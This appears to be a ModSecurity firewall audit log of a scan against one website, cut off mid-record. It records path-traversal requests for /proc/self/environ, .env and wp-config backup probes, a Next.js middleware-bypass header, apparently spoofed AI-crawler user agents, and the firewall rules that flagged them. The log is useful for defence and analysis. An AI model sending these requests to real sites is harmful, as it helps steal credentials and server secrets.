Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/js../.env"] [unique_id "aqakfGM7dE9KgIIOpQiA0wAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980284738 71258 (- - -)
Stopwatch2: 1789305980284738 71258; combined=4561, p1=230, p2=4274, p3=0, p4=0, p5=56, sr=88, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2e27e94d-Z--
--7f4e8567-A--
[13/Sep/2026:16:26:20.405144 +0300] aqakfGM7dE9KgIIOpQiA1AAAAM4 34.73.17.152 40872 127.0.0.1 7081
--7f4e8567-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7f4e8567-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7f4e8567-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqakfGM7dE9KgIIOpQiA1AAAAM4"]
Action: Intercepted (phase 2)
Stopwatch: 1789305980389752 15456 (- - -)
Stopwatch2: 1789305980389752 15456; combined=4438, p1=316, p2=3857, p3=0, p4=0, p5=265, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7f4e8567-Z--
--a5a45e7a-A--
[13/Sep/2026:16:26:20.448381 +0300] aqakfDTJ6xTvcJoem7f9@wAAAEU 34.73.17.152 40868 127.0.0.1 7081
--a5a45e7a-B--
GET /public/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--a5a45e7a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a5a45e7a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/public/.env"] [unique_id "aqakfDTJ6xTvcJoem7f9@wAAAEU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980358053 90392 (- - -)
Stopwatch2: 1789305980358053 90392; combined=6467, p1=216, p2=6197, p3=0, p4=0, p5=53, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a5a45e7a-Z--
--233e3a3a-A--
[13/Sep/2026:16:26:20.497777 +0300] aqakfEwu1RSkptiiNIX@VgAAAJY 34.73.17.152 40852 127.0.0.1 7081
--233e3a3a-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--233e3a3a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--233e3a3a-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqakfEwu1RSkptiiNIX@VgAAAJY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980340476 157369 (- - -)
Stopwatch2: 1789305980340476 157369; combined=4966, p1=302, p2=4597, p3=0, p4=0, p5=67, sr=129, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--233e3a3a-Z--
--19953129-A--
[13/Sep/2026:16:26:20.538149 +0300] aqakfGM7dE9KgIIOpQiA1gAAAMY 34.73.17.152 40894 127.0.0.1 7081
--19953129-B--
GET /css../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--19953129-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--19953129-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/css../.env"] [unique_id "aqakfGM7dE9KgIIOpQiA1gAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980454808 83398 (- - -)
Stopwatch2: 1789305980454808 83398; combined=4436, p1=224, p2=4159, p3=0, p4=0, p5=53, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--19953129-Z--
--d1438326-A--
[13/Sep/2026:16:26:20.549166 +0300] aqakfGM7dE9KgIIOpQiA1QAAANI 34.73.17.152 40880 127.0.0.1 7081
--d1438326-B--
GET /@fs/proc/self/cwd/.env?raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d1438326-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d1438326-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "aqakfGM7dE9KgIIOpQiA1QAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980405762 143482 (- - -)
Stopwatch2: 1789305980405762 143482; combined=4347, p1=202, p2=4091, p3=0, p4=0, p5=54, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d1438326-Z--
--e09d3a18-A--
[13/Sep/2026:16:26:20.586728 +0300] aqakfGM7dE9KgIIOpQiA1wAAAME 34.73.17.152 40906 127.0.0.1 7081
--e09d3a18-B--
GET /web/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e09d3a18-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e09d3a18-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/web/.env"] [unique_id "aqakfGM7dE9KgIIOpQiA1wAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980513059 73739 (- - -)
Stopwatch2: 1789305980513059 73739; combined=4522, p1=214, p2=4198, p3=0, p4=0, p5=110, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e09d3a18-Z--
--f0640513-A--
[13/Sep/2026:16:26:20.736583 +0300] aqakfGM7dE9KgIIOpQiA2gAAANA 34.73.17.152 40940 127.0.0.1 7081
--f0640513-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f0640513-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f0640513-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles/x"] [unique_id "aqakfGM7dE9KgIIOpQiA2gAAANA"]
Action: Intercepted (phase 2)
Stopwatch: 1789305980729966 6795 (- - -)
Stopwatch2: 1789305980729966 6795; combined=5234, p1=271, p2=4581, p3=0, p4=0, p5=382, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f0640513-Z--
--e80c3752-A--
[13/Sep/2026:16:26:20.751894 +0300] aqakfEwu1RSkptiiNIX@WAAAAJE 34.73.17.152 40914 127.0.0.1 7081
--e80c3752-B--
GET /build../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e80c3752-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e80c3752-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/build../.env"] [unique_id "aqakfEwu1RSkptiiNIX@WAAAAJE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980654067 97914 (- - -)
Stopwatch2: 1789305980654067 97914; combined=4602, p1=246, p2=4300, p3=0, p4=0, p5=55, sr=93, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e80c3752-Z--
--aeedbd74-A--
[13/Sep/2026:16:26:20.832971 +0300] aqakfGM7dE9KgIIOpQiA2QAAAMA 34.73.17.152 40934 127.0.0.1 7081
--aeedbd74-B--
GET /storage/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--aeedbd74-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--aeedbd74-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/storage/.env"] [unique_id "aqakfGM7dE9KgIIOpQiA2QAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980709089 123939 (- - -)
Stopwatch2: 1789305980709089 123939; combined=4518, p1=210, p2=4252, p3=0, p4=0, p5=55, sr=82, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aeedbd74-Z--
--fc6ba746-A--
[13/Sep/2026:16:26:20.960002 +0300] aqakfEwu1RSkptiiNIX@WQAAAI8 34.73.17.152 40962 127.0.0.1 7081
--fc6ba746-B--
GET /wp/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--fc6ba746-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--fc6ba746-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp/.env"] [unique_id "aqakfEwu1RSkptiiNIX@WQAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980894073 66054 (- - -)
Stopwatch2: 1789305980894073 66054; combined=4835, p1=262, p2=4515, p3=0, p4=0, p5=58, sr=117, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fc6ba746-Z--
--97879358-A--
[13/Sep/2026:16:26:21.008181 +0300] aqakfGM7dE9KgIIOpQiA3AAAAMI 34.73.17.152 40968 127.0.0.1 7081
--97879358-B--
GET /wp-config.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--97879358-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--97879358-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqakfGM7dE9KgIIOpQiA3AAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqakfGM7dE9KgIIOpQiA3AAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqakfGM7dE9KgIIOpQiA3AAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305980906782 101468 (- - -)
Stopwatch2: 1789305980906782 101468; combined=30100, p1=208, p2=29780, p3=0, p4=0, p5=112, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--97879358-Z--
--b0c53c6b-A--
[13/Sep/2026:16:26:21.128737 +0300] aqakfWM7dE9KgIIOpQiA3gAAAMM 34.73.17.152 40992 127.0.0.1 7081
--b0c53c6b-B--
GET /wp-config.php~ HTTP/1.1
